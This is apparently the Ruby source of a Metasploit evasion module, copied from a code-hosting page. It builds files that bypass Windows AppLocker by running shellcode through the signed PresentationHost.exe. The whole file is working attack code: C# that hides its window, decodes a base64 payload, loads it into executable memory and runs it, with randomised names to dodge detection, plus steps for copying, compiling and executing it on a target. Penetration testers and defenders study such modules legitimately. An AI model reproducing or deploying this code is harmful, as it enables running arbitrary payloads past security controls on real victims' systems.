Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/evasion/windows/applocker_evasion_presentationhost.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Evasion67def initialize(info = {})8super(update_info(info,9'Name' => 'Applocker Evasion - Windows Presentation Foundation Host',10'Description' => %(11This module will assist you in evading Microsoft12Windows Applocker and Software Restriction Policies.13This technique utilises the Microsoft signed binary14PresentationHost.exe to execute user supplied code.15),16'Author' =>17[18'Nick Tyrer <@NickTyrer>', # module development19'Casey Smith' # presentationhost bypass research20],21'License' => 'MSF_LICENSE',22'Platform' => 'win',23'Arch' => [ARCH_X86],24'Targets' => [['Microsoft Windows', {}]])25)2627register_options(28[29OptString.new('CS_FILE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']),30OptString.new('MANIFEST_FILE', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']),31OptString.new('CSPROJ_FILE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj'])32]33)3435deregister_options('FILENAME')36end3738def build_payload39Rex::Text.encode_base64(payload.encoded)40end4142def obfu43Rex::Text.rand_text_alpha 844end4546def presentationhost_xaml_cs47esc = build_payload48mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]49<<~HEREDOC50using System;51class #{mod[0]}{52static void Main(string[] args){53IntPtr #{mod[1]};54#{mod[1]} = GetConsoleWindow();55ShowWindow(#{mod[1]}, #{mod[2]});56string #{mod[3]} = "#{esc}";57byte[] #{mod[4]} = Convert.FromBase64String(#{mod[3]});58byte[] #{mod[5]} = #{mod[4]};59IntPtr #{mod[6]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[5]}.Length, #{mod[7]}, #{mod[8]});60System.Runtime.InteropServices.Marshal.Copy(#{mod[5]}, 0, #{mod[6]}, #{mod[5]}.Length);61IntPtr #{mod[9]} = IntPtr.Zero;62WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[6]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[10]});}63private static Int32 #{mod[7]}=0x1000;64private static IntPtr #{mod[8]}=(IntPtr)0x40;65private static UInt32 #{mod[10]} = 0xFFFFFFFF;66[System.Runtime.InteropServices.DllImport("kernel32")]67private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);68[System.Runtime.InteropServices.DllImport("kernel32")]69private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);70[System.Runtime.InteropServices.DllImport("kernel32")]71private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);72[System.Runtime.InteropServices.DllImport("user32.dll")]73static extern bool ShowWindow(IntPtr #{mod[1]}, int nCmdShow);74[System.Runtime.InteropServices.DllImport("Kernel32")]75private static extern IntPtr GetConsoleWindow();76const int #{mod[2]} = 0;}77HEREDOC78end7980def presentationhost_manifest81<<~HEREDOC82<?xml version="1.0" encoding="utf-8"?>83<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">84<assemblyIdentity version="1.0.0.0" name="MyApplication.app" />85<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">86<security>87<applicationRequestMinimum>88<defaultAssemblyRequest permissionSetReference="Custom" />89<PermissionSet class="System.Security.PermissionSet" version="1" ID="Custom" SameSite="site" Unrestricted="true" />90</applicationRequestMinimum>91<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">92<requestedExecutionLevel level="asInvoker" uiAccess="false" />93</requestedPrivileges>94</security>95</trustInfo>96</assembly>97HEREDOC98end99100def presentationhost_csproj101<<~HEREDOC102<?xml version="1.0" encoding="utf-8"?>103<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">104<Import Project="$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')" />105<PropertyGroup>106<Configuration Condition=" '$(Configuration)' == '' ">Release</Configuration>107<Platform Condition=" '$(Platform)' == '' ">x86</Platform>108<OutputType>WinExe</OutputType>109<HostInBrowser>true</HostInBrowser>110<GenerateManifests>true</GenerateManifests>111<SignManifests>false</SignManifests>112</PropertyGroup>113<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">114<Optimize>true</Optimize>115<OutputPath>.</OutputPath>116</PropertyGroup>117<ItemGroup>118<Reference Include="System" />119</ItemGroup>120<ItemGroup>121<Compile Include="#{datastore['CS_FILE']}">122<DependentUpon>#{datastore['CS_FILE']}</DependentUpon>123<SubType>Code</SubType>124</Compile>125</ItemGroup>126<ItemGroup>127<None Include="#{datastore['MANIFEST_FILE']}" />128</ItemGroup>129<Import Project="$(MSBuildToolsPath)\\Microsoft.CSharp.targets" />130</Project>131HEREDOC132end133134def file_format_filename(name = '')135name.empty? ? @fname : @fname = name136end137138def create_files139f1 = datastore['CS_FILE'].empty? ? 'presentationhost.xaml.cs' : datastore['CS_FILE']140f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs')141f2 = datastore['MANIFEST_FILE'].empty? ? 'presentationhost.manifest' : datastore['MANIFEST_FILE']142f2 << '.manifest' unless f2.downcase.end_with?('.manifest')143f3 = datastore['CSPROJ_FILE'].empty? ? 'presentationhost.csproj' : datastore['CSPROJ_FILE']144f3 << '.csproj' unless f3.downcase.end_with?('.csproj')145cs_file = presentationhost_xaml_cs146manifest_file = presentationhost_manifest147csproj_file = presentationhost_csproj148file_format_filename(f1)149file_create(cs_file)150file_format_filename(f2)151file_create(manifest_file)152file_format_filename(f3)153file_create(csproj_file)154end155156def instructions157print_status "Copy #{datastore['CS_FILE']}, #{datastore['MANIFEST_FILE']} and #{datastore['CSPROJ_FILE']} to the target"158print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['CSPROJ_FILE']}"159print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['CS_FILE'].gsub('.xaml.cs', '.xbap')}"160end161162def run163create_files164instructions165end166end167168169